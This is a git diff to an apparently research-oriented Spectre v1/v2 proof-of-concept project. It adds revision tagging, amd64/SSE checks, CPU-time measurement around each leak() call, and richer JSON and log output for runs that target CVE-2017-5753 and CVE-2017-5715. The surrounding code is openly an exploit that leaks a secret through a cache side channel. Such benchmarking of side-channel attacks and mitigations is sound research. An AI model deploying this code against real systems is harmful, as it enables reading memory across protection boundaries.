diff --git a/Makefile b/Makefile index 3bff13d..e90255d 100644 --- a/Makefile +++ b/Makefile @@ -74,6 +74,8 @@ GCCV:= $(shell (gcc -v 2>&1 | grep 'gcc version') || (apk info -a gcc 2> /dev/n VULN1:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v1 2> /dev/null || printf unknown)) VULN2:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v2 2> /dev/null || printf unknown)) REVISION:= $(shell git rev-parse --short HEAD) +CFLAGS+= -DREVISION=\"$(REVISION)\" + define BANNER printf '\033[1m\033[94m________ __\n' printf '\\_____ \\ _____/ |_ ____ ______ __ __ ______\n' diff --git a/octopus.h b/octopus.h index 1c5b43b..351e7c6 100644 --- a/octopus.h +++ b/octopus.h @@ -4,11 +4,40 @@ #include #include #include +#include +#if defined(__OpenBSD__) + #include +#elif defined(__linux__) + // From OpenBSD's src/sys/sys/time.h + #define timespecclear(tsp) (tsp)->tv_sec = (tsp)->tv_nsec = 0 + #define timespecadd(tsp, usp, vsp)\ + do {\ + (vsp)->tv_sec = (tsp)->tv_sec + (usp)->tv_sec;\ + (vsp)->tv_nsec = (tsp)->tv_nsec + (usp)->tv_nsec;\ + if ((vsp)->tv_nsec >= 1000000000L) {\ + (vsp)->tv_sec++;\ + (vsp)->tv_nsec -= 1000000000L;\ + }\ + } while (0) + #define timespecsub(tsp, usp, vsp)\ + do {\ + (vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\ + (vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\ + if ((vsp)->tv_nsec < 0) {\ + (vsp)->tv_sec--;\ + (vsp)->tv_nsec += 1000000000L;\ + }\ + } while (0) +#endif -#if defined(__i386__) || defined(__amd64__) +#if defined(__amd64__) #define CACHELINE_SIZE 64 #else - #error "unsupported architecture" + #error "Unsupported architecture. amd64 is required." +#endif + +#if !defined(__SSE__) + #error "Unsupported platform. SSE is required." #endif #if defined(__SSE__) && !defined(__SSE2__) @@ -18,6 +47,7 @@ #define LATENCY 18 + 18 #endif + #ifndef NORDTSCP #define LATENCY 42 + 42 #else @@ -26,7 +56,12 @@ #endif #endif -#if OCTOPUS_STRAIN == V1 +#ifndef REVISION + #define REVISION "unknown" +#endif + +#if OCTOPUS_STRAIN == 1 + #define CVE "CVE-2017-5753" #ifdef MASKING_MITIGATION /* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 * @@ -71,10 +106,11 @@ _mm_stderr_ps(&p[(l * 4 + k) * 4], i); } #endif //NOCLFLUSH -#endif // OCTOPUS_STRAIN V1 +#endif // OCTOPUS_STRAIN 1 -#if OCTOPUS_STRAIN == V2 -#endif // OCTOPUS_STRAIN V2 +#if OCTOPUS_STRAIN == 2 + #define CVE "CVE-2017-5715" +#endif // OCTOPUS_STRAIN 2 #define GAP 512 @@ -82,6 +118,7 @@ char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, unsigned int cache_hit_threshold, array1_size = 16; uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; uint8_t channel[256 * GAP]; // side channel to extract secret phrase +struct timespec total_cpu_time, cpu_time, cpu_start, cpu_end; #define __OCTOPUS_ARGS__\ while ((o = getopt(argc, argv, "t:j")) != EOF) {\ @@ -199,7 +236,7 @@ octopus_calibrate_threshold(unsigned int *threshold) } void -octopus_to_json(char** argv, int successes) { +octopus_to_json(char** argv, int successes, struct timespec* total_cpu_time) { printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2); #ifndef NORDTSCP printf("\"rdtscp\": true, "); @@ -216,8 +253,8 @@ octopus_to_json(char** argv, int successes) { #else printf("\"clflush\": false "); #endif - #if OCTOPUS_STRAIN == V1 - printf("}, \"mitigations\": { "); + #if OCTOPUS_STRAIN == 1 + printf("}, \"mitigations\": { "); #ifdef LFENCE_MITIGATION printf("\"lfence\": true, "); #else @@ -228,14 +265,21 @@ octopus_to_json(char** argv, int successes) { #else printf("\"masking\": false "); #endif - #endif // OCTOPUS_STRAIN == V1 + #endif // OCTOPUS_STRAIN == 1 printf("}, "); + printf("\"revision\": \"%s\", ", REVISION); + printf("\"cpu_time\": %lld.%09ld, ", (long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec); printf("\"threshold\": %d, ", cache_hit_threshold); printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret)); } void -octopus_result_line(char** argv, int successes) { +octopus_header_line(char** argv, char* secret) { + fprintf(stderr, "[+] %s rev %s leaking %d bytes with %s:\n[?] ", argv[0] + 2, REVISION, (int)strlen(secret), CVE); +} + +void +octopus_result_line(char** argv, int successes, struct timespec* total_cpu_time) { fprintf(stderr, "[+] %-27s\t",argv[0] + 2); #ifndef NORDTSCP fprintf(stderr, "RDTSCP "); @@ -248,13 +292,14 @@ octopus_result_line(char** argv, int successes) { #ifndef NOCLFLUSH fprintf(stderr, "CLFLUSH "); #endif - #if OCTOPUS_STRAIN == V1 + #if OCTOPUS_STRAIN == 1 #ifdef LFENCE_MITIGATION fprintf(stderr, "LFENCE_MITIGATION "); #endif #ifdef MASKING_MITIGATION fprintf(stderr, "MASKING_MITIGATION "); #endif - #endif // OCTOPUS_STRAIN == V1 - fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret)); + #endif // OCTOPUS_STRAIN == 1 + fprintf(stderr, "\tcpu_time %lld.%09ld s\tthreshold %-3d\tsuccess %3.0f %%\n", + (long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec, cache_hit_threshold, 100 * successes / (float)strlen(secret)); } diff --git a/spectre_v1.c b/spectre_v1.c index 481f82f..58d1008 100644 --- a/spectre_v1.c +++ b/spectre_v1.c @@ -19,7 +19,7 @@ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ -#define OCTOPUS_STRAIN V1 +#define OCTOPUS_STRAIN 1 #include "octopus.h" uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ @@ -116,7 +116,7 @@ main(int argc, char** argv) __OCTOPUS_ARGS__ - fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret)); + octopus_header_line(argv, secret); octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); #ifdef NOCLFLUSH for (i = 0; i < (int)sizeof(cache_flush_array); i++) { @@ -126,8 +126,18 @@ main(int argc, char** argv) for (i = 0; i < (int)sizeof(channel); i++) { channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */ } + + timespecclear(&total_cpu_time); + while (--len >= 0) { + clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start); + leak(malicious_x++, value, score, cache_hit_threshold); + + clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end); + timespecsub(&cpu_end, &cpu_start, &cpu_time); + timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time); + if(score[0] == 3 && value[0] > 31 && value[0] < 127) { successes++; fprintf(stderr, "\033[32m%c\033[0m", (value[0])); @@ -136,10 +146,11 @@ main(int argc, char** argv) } } fprintf(stderr, "\n"); + if (json) { - octopus_to_json(argv, successes); + octopus_to_json(argv, successes, &total_cpu_time); } - octopus_result_line(argv, successes); + octopus_result_line(argv, successes, &total_cpu_time); return 0; } diff --git a/spectre_v2.c b/spectre_v2.c index 823b03b..d38a468 100644 --- a/spectre_v2.c +++ b/spectre_v2.c @@ -18,7 +18,7 @@ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ -#define OCTOPUS_STRAIN V2 +#define OCTOPUS_STRAIN 2 #include "octopus.h" uint64_t* target; // pointer to indirect call target @@ -150,15 +150,25 @@ main(int argc, char** argv) __OCTOPUS_ARGS__ target = (uint64_t*)malloc(sizeof(uint64_t)); - fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len); + octopus_header_line(argv, secret); octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); #ifdef NOCLFLUSH for (i = 0; i < (int)sizeof(cache_flush_array); i++) { cache_flush_array[i] = 1; } #endif + + timespecclear(&total_cpu_time); + while (--len >= 0) { + clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start); + leak(secret_addr++, value, score, cache_hit_threshold); + + clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end); + timespecsub(&cpu_end, &cpu_start, &cpu_time); + timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time); + if(score[0] == 3 && value[0] > 31 && value[0] < 127) { successes++; fprintf(stderr, "\033[32m%c\033[0m", (value[0])); @@ -168,9 +178,9 @@ main(int argc, char** argv) } fprintf(stderr, "\n"); if (json) { - octopus_to_json(argv, successes); + octopus_to_json(argv, successes, &total_cpu_time); } - octopus_result_line(argv, successes); + octopus_result_line(argv, successes, &total_cpu_time); free(target);